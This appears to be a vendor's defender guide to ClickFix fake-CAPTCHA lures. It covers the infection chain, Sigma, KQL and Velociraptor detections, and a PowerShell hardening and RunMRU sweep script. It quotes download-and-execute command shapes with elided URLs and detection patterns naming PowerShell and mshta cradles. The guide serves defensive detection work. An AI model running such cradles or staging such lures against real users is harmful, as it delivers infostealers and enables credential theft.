ClickFix Social Engineering: Detecting Fake Verification Prompts That Weaponize Your Own Brand — A Defender's Guide

Recorded Future's Insikt Group has published new research on ClickFix — a social engineering technique that doesn't need an exploit, a zero-day, or even a malicious attachment. It needs your logo, a familiar verification prompt, and a user willing to follow instructions. The full report is available at Recorded Future's blog, and defenders should treat this as a priority detection-engineering problem.

What Is at Stake

ClickFix inverts the traditional malware delivery model. Instead of tricking a user into opening a weaponized document, the attacker tricks them into manually executing the payload themselves — typically by pasting an attacker-supplied command into the Windows Run dialog, Terminal, or PowerShell after a fake CAPTCHA or "verification" step on a compromised or spoofed website. The lures lean heavily on brand recognition: Cloudflare-style "Verify you are human" checks, Google reCAPTCHA knockoffs, Microsoft support prompts, and increasingly, the branding of the victim's own organization.

That last point is the strategic shift Insikt Group is highlighting, and it's why this matters to every SOC. When the lure is your logo, your users have already been conditioned to trust it — and your security awareness training built around "check the sender" collapses, because the attack arrives through a browser, not an inbox. Recorded Future has folded ClickFix detection into its Malicious Site Monitoring capability within its Digital Risk Protection solution, which tells you where this threat class lives: it is a brand-abuse and external-surface problem as much as an endpoint problem.

No CVE is associated with this technique — ClickFix exploits trust and user behavior, not software. MITRE ATT&CK mapping: T1204 (User Execution), T1204.002 (Malicious File), T1059.001 (PowerShell), T1059.003 (Windows Command Shell), T1218 (System Binary Proxy Execution — mshta, rundll32), T1656 (Impersonation), and T1185/T1189-style drive-by delivery via fake browser verification flows.

Technical Analysis: How a ClickFix Infection Actually Unfolds

From hundreds of IR engagements involving user-driven initial access, the ClickFix chain is remarkably consistent:

1. Delivery: The victim lands on a page — via malvertising, SEO poisoning, a compromised legitimate site, or a typosquatted domain spoofing a trusted brand. The page presents a fake verification challenge ("Click 'I'm not a robot' to continue").
2. The hook: Clicking the fake checkbox silently copies a malicious command to the victim's clipboard using JavaScript. The page then instructs the user to press Win+R (Run dialog), Ctrl+V (paste), and Enter — framed as completing the verification.
3. Execution: The pasted command is almost always a living-off-the-land invocation: powershell.exe -w hidden -c "irm https://... | iex", mshta.exe https://..., or a curl/Invoke-WebRequest cradle that pulls a second stage.
4. Payload: The second stage is typically commodity infostealer or RAT tooling — Lumma, Vidar, DarkGate, NetSupport RAT, and AsyncRAT are the usual suspects in current campaigns, giving operators credential theft, session hijacking, and a beachhead for follow-on intrusion.

Why this defeats traditional controls:

• No attachment, no exploit. Email gateways and sandbox detonation see nothing. There is no file to hash and no vulnerability to patch.
• User-initiated execution. The process tree starts with explorer.exe (the Run dialog), which looks legitimate to naive parent-child rules.
• LOLBins everywhere. powershell, mshta, rundll32, curl, and wscript are signed Microsoft binaries. Application control that isn't explicitly tuned will wave them through.
• Brand impersonation at scale. Because the lure is a logo and a CAPTCHA widget, attackers re-skin the same infrastructure for every vertical. Recorded Future's move to monitor for malicious sites abusing customer brands confirms this is being industrialized.

Forensic gold: Because the user pastes the command into the Run dialog, the full malicious command line is persisted in the user's RunMRU registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU). This is one of the highest-fidelity forensic artifacts ClickFix leaves behind — check it on every suspected case.

Exploitation status: Actively exploited in the wild at scale. This is not theoretical. Insikt Group's continued tracking and the operationalization of ClickFix detection inside a commercial DRP product are clear signals of sustained, growing campaign volume.

Detection & Response

The durable detection strategy targets the behavior, not the lure: script interpreters and LOLBins spawned directly from explorer.exe with network-download or encoded-execution patterns, plus RunMRU review during triage.

Sigma Rules

---
title: ClickFix - Script Interpreter Spawned From Explorer With Download Cradle
id: 3f8c1a92-6b4d-4e7a-9c21-5d8e0f1a2b3c
status: experimental
description: Detects PowerShell or command shell launched directly from explorer.exe (consistent with Win+R paste execution) carrying download-and-execute patterns typical of ClickFix fake verification lures.
references:
  - https://www.recordedfuture.com/blog/your-logo-is-the-lure
  - https://attack.mitre.org/techniques/T1059/001/
  - https://attack.mitre.org/techniques/T1204/002/
author: Security Arsenal
date: 2026/02/14
tags:
  - attack.execution
  - attack.t1059.001
  - attack.t1204.002
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\explorer.exe'
  selection_image:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
  selection_cradle:
    CommandLine|contains:
      - 'irm '
      - 'iwr '
      - 'Invoke-WebRequest'
      - 'Invoke-RestMethod'
      - 'DownloadString'
      - 'curl.exe'
      - 'curl '
      - 'iex'
      - 'FromBase64String'
      - ' -enc'
      - ' -ec'
      - 'EncodedCommand'
  condition: all of selection_*
falsepositives:
  - Rare; administrators running interactive download cradles from the Run dialog. Baseline and tune per environment.
level: high
---
title: ClickFix - Mshta or Rundll32 Executing Remote Content From Explorer
id: 9d2e5b17-4a8f-4c63-b7d4-1e9f3a5c6d8e
status: experimental
description: Detects mshta.exe or rundll32.exe spawned from explorer.exe referencing a remote URL, a hallmark of ClickFix payloads pasted into the Run dialog.
references:
  - https://www.recordedfuture.com/blog/your-logo-is-the-lure
  - https://attack.mitre.org/techniques/T1218/005/
  - https://attack.mitre.org/techniques/T1218/011/
author: Security Arsenal
date: 2026/02/14
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.005
  - attack.t1218.011
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\explorer.exe'
  selection_image:
    Image|endswith:
      - '\mshta.exe'
      - '\rundll32.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  selection_url:
    CommandLine|contains:
      - 'http://'
      - 'https://'
  condition: all of selection_*
falsepositives:
  - Legitimate installers invoking rundll32 are uncommon with URLs in the command line; investigate all hits.
level: critical
---
title: ClickFix - Suspicious Command Recorded in RunMRU Registry Key
id: 5c7a3e81-2f9b-4d58-a1c6-8b4d2e7f9a1b
status: experimental
description: Detects write of PowerShell, mshta, or download-cradle commands into the Explorer RunMRU key, which persists commands pasted into the Win+R Run dialog — a high-fidelity ClickFix artifact.
references:
  - https://www.recordedfuture.com/blog/your-logo-is-the-lure
  - https://attack.mitre.org/techniques/T1204/
author: Security Arsenal
date: 2026/02/14
tags:
  - attack.execution
  - attack.t1204
logsource:
  category: registry_set
  product: windows
detection:
  selection_key:
    TargetObject|contains: '\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'
  selection_value:
    Details|contains:
      - 'powershell'
      - 'mshta'
      - 'curl '
      - 'irm '
      - 'iex'
      - 'rundll32'
      - 'http'
  condition: all of selection_*
falsepositives:
  - Legitimate admin use of the Run dialog; RunMRU hits with URLs or cradles should be triaged regardless.
level: high

KQL (Microsoft Sentinel / Defender)

This hunts the core ClickFix execution pattern across your fleet — Run-dialog-spawned script interpreters with network or encoded-execution content — and enriches with the initiating user for rapid scoping.

let Lookback = 14d;
let CradleTerms = dynamic(["irm ", "iwr ", "Invoke-WebRequest", "Invoke-RestMethod", "DownloadString", "curl", "FromBase64String", "-enc", "EncodedCommand", "iex", "mshta", "rundll32"]);
DeviceProcessEvents
| where TimeGenerated > ago(Lookback)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe", "mshta.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "curl.exe")
| where ProcessCommandLine has_any (CradleTerms)
   or ProcessCommandLine matches regex @"(?i)(http|https)://"
| extend SuspiciousFlags = pack_array(
    iff(ProcessCommandLine has "-w hidden" or ProcessCommandLine has "-WindowStyle Hidden", "HiddenWindow", ""),
    iff(ProcessCommandLine has "-enc" or ProcessCommandLine has "EncodedCommand", "EncodedCmd", ""),
    iff(ProcessCommandLine matches regex @"(?i)https?://", "RemoteURL", ""))
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, ProcessId, SHA256, SuspiciousFlags
| order by TimeGenerated desc

For organizations ingesting Sysmon via SecurityEvent (Event ID 4688 with command-line auditing), the equivalent hunt pivots on ParentProcessName endswith "explorer.exe" and the same command-line term set. If you collect browser-side telemetry or proxy logs, correlate the RemoteURL extracted above against egress proxy hits in CommonSecurityLog to reconstruct the delivery domain.

Velociraptor VQL

Use this for live triage of a suspected ClickFix host — it checks running processes for the cradle pattern and, critically, pulls the RunMRU artifact that preserves the pasted command even after reboot.

-- ClickFix triage: suspicious Run-dialog-spawned processes plus RunMRU evidence
LET procs = SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE CommandLine =~ '(?i)(irm |iwr |Invoke-WebRequest|DownloadString|FromBase64String|EncodedCommand| -enc|curl |mshta|rundll32)'
  AND CommandLine =~ '(?i)https?://'

LET runmru = SELECT
  FullPath AS KeyPath,
  basename(path=FullPath) AS ValueName,
  Data.value AS Command
FROM glob(globs='HKEY_USERS/*/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU/*', accessor='registry')
WHERE Command =~ '(?i)(powershell|mshta|curl|rundll32|irm |iex|http)'

SELECT * FROM procs
UNION ALL
SELECT NULL AS Pid, NULL AS Ppid, 'RunMRU_Artifact' AS Name,
       KeyPath AS Exe, Command AS CommandLine, ValueName AS Username, NULL AS CreateTime
FROM runmru

Remediation & Hardening Script

Run this on endpoints (and adapt for GPO/Intune deployment) to enable the telemetry ClickFix detection depends on, sweep RunMRU for evidence of past execution, and surface hosts that need IR attention.

# ClickFix endpoint hardening and evidence sweep - run elevated
# 1) Enable PowerShell Script Block Logging and Module Logging (AMSI visibility into cradles)
$sbPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
$modPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
New-Item -Path $sbPath -Force | Out-Null
Set-ItemProperty -Path $sbPath -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord
New-Item -Path "$modPath\*" -Force | Out-Null
Set-ItemProperty -Path $modPath -Name 'EnableModuleLogging' -Value 1 -Type DWord

# 2) Enable process creation command-line auditing (Event 4688 cmdline capture)
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit' -Name 'ProcessCreationIncludeCmdLine_Enabled' -Value 1 -Type DWord
auditpol /set /subcategory:"Process Creation" /success:enable | Out-Null

# 3) Sweep RunMRU for ClickFix indicators across all user hives
$suspicious = 'powershell|pwsh|mshta|rundll32|wscript|cscript|curl|irm |iex|https?://'
$results = foreach ($hive in Get-ChildItem 'Registry::HKEY_USERS' -ErrorAction SilentlyContinue) {
    $mru = Join-Path $hive.PSPath 'Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'
    if (Test-Path $mru) {
        $props = Get-ItemProperty $mru
        foreach ($p in $props.PSObject.Properties) {
            if ($p.Name -match '^[a-z]$' -and ($p.Value -as [string]) -match $suspicious) {
                [PSCustomObject]@{ Hive = $hive.PSChildName; Value = $p.Name; Command = $p.Value }
            }
        }
    }
}
if ($results) {
    Write-Warning 'ClickFix indicators found in RunMRU - isolate host and initiate IR'
    $results | Format-Table -AutoSize
} else { Write-Output 'RunMRU sweep clean.' }

# 4) Report mshta/rundll32 usage baseline for application-control planning
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 5000 -ErrorAction SilentlyContinue |
  Where-Object { $_.Message -match 'mshta.exe|rundll32.exe' } |
  Group-Object { ($_.Message -split "`n")[5] } | Sort-Object Count -Descending |
  Select-Object Count, Name -First 20 | Format-Table -AutoSize

Remediation and Hardening Recommendations

There is no patch for ClickFix — the fix is layered behavioral control. Prioritized for most environments:

1. Constrain the Run-dialog execution path. Where operationally feasible, restrict mshta.exe, wscript.exe, and cscript.exe via AppLocker or Windows Defender Application Control (WDAC) for standard users. PowerShell should run in Constrained Language Mode under WDAC for non-admin users — this neutralizes the majority of irm | iex cradles even when the user pastes them.
2. Brand-abuse monitoring. Engage a Digital Risk Protection capability (Recorded Future's Malicious Site Monitoring is one option; the capability category is what matters) to detect and take down sites impersonating your logo and verification flows. If attackers are using your brand as the lure, takedown speed is your first control, not your last.
3. Update security awareness content. Every phishing program we audit still trains exclusively on email. Add a module specifically covering fake CAPTCHAs, "copy-paste to verify" prompts, and the rule: no legitimate website will ever ask you to run a command. This single sentence defeats the entire technique class.
4. Proxy and DNS egress filtering. ClickFix second stages must call out. Block newly registered domains, enforce category filtering, and alert on direct-to-IP HTTP(S) from endpoints. The cradle pattern gives you a second detection opportunity at the network layer even if endpoint telemetry misses the paste.
5. Telemetry prerequisites. Confirm Script Block Logging, Module Logging, and 4688 command-line capture are enabled fleet-wide (script above). Without these, your Sigma and KQL rules are blind.
6. IR playbook addition. Add a ClickFix branch to your user-reported-incident playbook: pull RunMRU, capture the clipboard if the session is live, extract the delivery URL from browser history (the fake verification page is usually still in the tab), and pivot on that domain across proxy and EDR data for other victims.

The uncomfortable truth in Insikt Group's research is that ClickFix works because it is honest about human behavior: users trust brands, and they follow instructions. Your controls have to assume the click — and the paste — already happened.

Related Resources

Security Arsenal Managed SOC Services AlertMonitor Platform Book a SOC Assessment soc-mdr Intel Hub